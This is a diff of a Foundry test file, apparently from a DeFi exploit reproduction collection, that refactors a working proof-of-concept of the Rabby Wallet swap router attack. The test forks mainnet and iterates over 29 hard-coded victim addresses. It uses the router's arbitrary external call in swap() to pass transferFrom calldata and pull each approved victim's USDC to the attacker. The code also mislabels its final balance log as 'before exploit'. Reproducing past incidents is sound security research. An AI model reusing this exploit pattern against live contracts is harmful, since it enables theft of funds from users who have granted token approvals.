@@ -5,8 +5,6 @@ import "forge-std/Test.sol";
55import "./interface.sol " ;
66
77// @KeyInfo - Total Lost : ~200,000 US$
8- // Root cause : Classic arbitrary external call vulnerability
9- // Multiple tokens has been stolen, and 114 ETH deposited to Tornado Cash
108// Attacker : 0xb687550842a24d7fbc6aad238fd7e0687ed59d55
119// Attack Contract : 0x9682f31b3f572988f93c2b8382586ca26a866475
1210// Vulnerable Contract : 0x6eb211caf6d304a76efe37d9abdfaddc2d4363d1 and these: https://twitter.com/Rabby_io/status/1579833969566449666
@@ -32,32 +30,34 @@ import "./interface.sol";
3230// 0x6899b8caee16dbd75359cabcd24e32b2362c474cdf39ea810cf4386018761beb
3331// 0x07887fffc4488354d813fdcca5da0586dd6f9a3da36d503af768302eacbeec41
3432// Reproduce Tx: Steal USDC - 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
35- //
33+
3634// @Analysis
37- // Supremacy Inc. : https://twitter.com/Supremacy_CA/status/1579813933669486592
38- // SlowMist : https://twitter.com/SlowMist_Team/status/1579839744128978945
39- // Beosin Alert : https://twitter.com/BeosinAlert/status/1579856733178331139
35+ // Twitter Supremacy : https://twitter.com/Supremacy_CA/status/1579813933669486592
36+ // Twitter SlowMist : https://twitter.com/SlowMist_Team/status/1579839744128978945
37+ // Twitter Beosin Alert : https://twitter.com/BeosinAlert/status/1579856733178331139
38+
39+ // Root cause : Classic arbitrary external call vulnerability
40+ // Multiple tokens has been stolen, and 114 ETH deposited to Tornado Cash
4041
41- CheatCodes constant cheat = CheatCodes (0x7109709ECfa91a80626fF3989D68f67F5b1DD12D );
42- address constant attacker = 0xb687550842a24D7FBC6Aad238fd7E0687eD59d55 ;
43- address constant RabbySwapRouter = 0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1 ;
44- address constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7 ;
45- address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 ;
42+ contract ContractTest is Test {
43+ IRabbySwap constant RABBYSWAP_ROUTER = IRabbySwap (0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1 );
44+ IUSDT constant USDT_TOKEN = IUSDT (0xdAC17F958D2ee523a2206206994597C13D831ec7 );
45+ IUSDC constant USDC_TOKEN = IUSDC (0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 );
4646
47- contract Attacker is Test {
4847 function setUp () public {
49- cheat.createSelectFork ("mainnet " , 15_724_451 );
50- cheat.label (attacker, "attacker " );
51- cheat.label (RabbySwapRouter, "RabbySwapRouter " );
52- cheat.label (usdt, "USDT " );
53- cheat.label (usdc, "USDC " );
48+ vm.createSelectFork ("mainnet " , 15_724_451 );
49+ vm.label (address (RABBYSWAP_ROUTER), "RABBYSWAP_ROUTER " );
50+ vm.label (address (USDT_TOKEN), "USDT_TOKEN " );
51+ vm.label (address (USDC_TOKEN), "USDC_TOKEN " );
5452 }
5553
5654 function testExploit () public {
57- emit log_named_decimal_uint ("[Before] Attacker's USDC Balance: " , IERC20 (usdc).balanceOf (address (this )), 6 );
55+ emit log_named_decimal_uint (
56+ "[Start] Attacker USDC balance before exploit " , USDC_TOKEN.balanceOf (address (this )), 6
57+ );
5858
59- // Somehow attacker got these EOA addresses that are approved the Rabby Wallet Swap Router contract.
60- // ...Maybe the attacker grep the history Txs and find those victims that interacted with the Swap Router contract.
59+ // Somehow attacker got these EOA addresses that approved the Rabby Wallet Swap Router contract.
60+ // ...Maybe the attacker grepped the history Txs and found those victims that interacted with the Swap Router contract.
6161 address [29 ] memory victims = [
6262 0x94228872bb16CBCDfe010c42a8e456d15B366bF1 ,
6363 0x6a3BCee1eBeBDaA099a46d21a355D0FF1C521fCB ,
@@ -91,37 +91,46 @@ contract Attacker is Test {
9191 ];
9292
9393 for (uint256 i; i < victims.length ; ++ i) {
94- // Step1 : Check the victim allowance
95- uint256 vic_balance = IERC20 (usdc) .balanceOf (victims[i]);
96- uint256 vic_allowance = IERC20 (usdc) .allowance (victims[i], RabbySwapRouter );
94+ // Step 1 : Check the victim's USDC balance and allowance to RABBYSWAP_ROUTER
95+ uint256 vic_balance = USDC_TOKEN .balanceOf (victims[i]);
96+ uint256 vic_allowance = USDC_TOKEN .allowance (victims[i], address (RABBYSWAP_ROUTER) );
9797
98- // Step2 : If allowance >= balance: exploit!
98+ // Step 2 : If allowance >= balance: exploit!
9999 if (vic_allowance >= vic_balance) {
100100 // Classic arbitrary external calls `swap()` vulnerability, and the parameter `address dexRouter` is controllable.
101101 bytes memory usdc_callbackData = abi.encodeWithSignature (
102102 "transferFrom(address,address,uint256) " , victims[i], address (this ), vic_balance
103103 );
104- IRabbySwap (RabbySwapRouter).swap (
105- usdt, 0 , address (this ), 4660 , usdc, usdc, usdc_callbackData, block .timestamp
104+ RABBYSWAP_ROUTER.swap (
105+ address (USDT_TOKEN),
106+ 0 ,
107+ address (this ),
108+ 4660 ,
109+ address (USDC_TOKEN),
110+ address (USDC_TOKEN),
111+ usdc_callbackData,
112+ block .timestamp
106113 );
107114 }
108115 }
109116
110- emit log_named_decimal_uint ("[After] Attacker's USDC Balance: " , IERC20 (usdc).balanceOf (address (this )), 6 );
117+ emit log_named_decimal_uint (
118+ "[End] Attacker USDC balance before exploit " , USDC_TOKEN.balanceOf (address (this )), 6
119+ );
111120 }
112121
113- function balanceOf (address ) external view returns (uint256 ) {
122+ function balanceOf (address ) external pure returns (uint256 ) {
114123 return 100e18 ;
115124 }
116125
117- function transfer (address , uint256 ) external view returns (bool ) {
126+ function transfer (address , uint256 ) external pure returns (bool ) {
118127 return true ;
119128 }
120129
121130 receive () external payable {}
122131}
123132
124- /* -------------------- Interface -------------------- */
133+ /* -------------------- RabbySwap Interface -------------------- */
125134interface IRabbySwap {
126135 function swap (
127136 address srcToken ,
0 commit comments